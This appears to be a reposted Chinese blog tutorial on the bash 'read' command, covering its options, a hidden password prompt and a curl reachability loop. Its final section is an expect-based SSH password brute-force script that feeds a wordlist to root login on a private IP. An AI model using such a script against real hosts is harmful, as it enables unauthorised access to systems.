当前位置:   article > 正文

shell脚本之read的用法_shell脚本中read的用法

shell脚本中read的用法

read选项可以获取用户输入

具体用法是read <变量>

-p: 指定一段文本

-s: 无显示读取,输入过程中不显示,适用于密码输入

-n: 统计输入的字符数,指定输入字符的数量

-t:  计时器,指定输入等待时间

  1. #!/bin/bash
  2. if read -t 5 -s -n 6 -p "Enter your password:" pass
  3. then
  4. echo
  5. echo $pass
  6. else
  7. echo
  8. echo "password error"
  9. fi

上面这段代码在倒计时五秒之后退出,输入是隐藏的,并且在统计到六个字符的时候退出

效果如下

 read还有一个很厉害的功能,那就是从文件中读取

利用这个功能,我们可以去做一些密码测试,网页连通性测试

网页连通性测试

  1. #!/bin/bash
  2. cat ./ip.txt | while read ip
  3. do
  4. if `curl -vl $ip &> /dev/null`
  5. then
  6. echo
  7. echo "----------------------------------------------------------------txcg----------------------------------------------------------------------"
  8. echo "----------------------------------------------------------------txcg----------------------------------------------------------------------" > ./iptc.txt
  9. echo
  10. echo "$ip" > ./iptc.txt
  11. echo "$ip"
  12. echo
  13. curl -vl $ip &> ./iptc.txt
  14. echo " $( cat ./iptc.txt | grep HTTP/) "
  15. fi
  16. done

 效果如下

密码爆破(由于只是测试,这段代码没有进行改进,会出现一些小问题)

  1. #!/bin/bash
  2. cat /root/shellbc/\$read/pass.txt | while read pass
  3. do
  4. echo
  5. echo $pass
  6. /usr/bin/expect << EOF
  7. spawn ssh root@192.168.20.13;
  8. sleep 3
  9. expect "*password:";
  10. send "$pass\r";
  11. expect eof
  12. EOF
  13. echo
  14. done

效果如下

 他会对pass.txt里面的文本进行反复测试

这里由于没有做判断终止循环,他会一直试下去,可能需要手动改进

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/308740
推荐阅读
相关标签
  

闽ICP备14008679号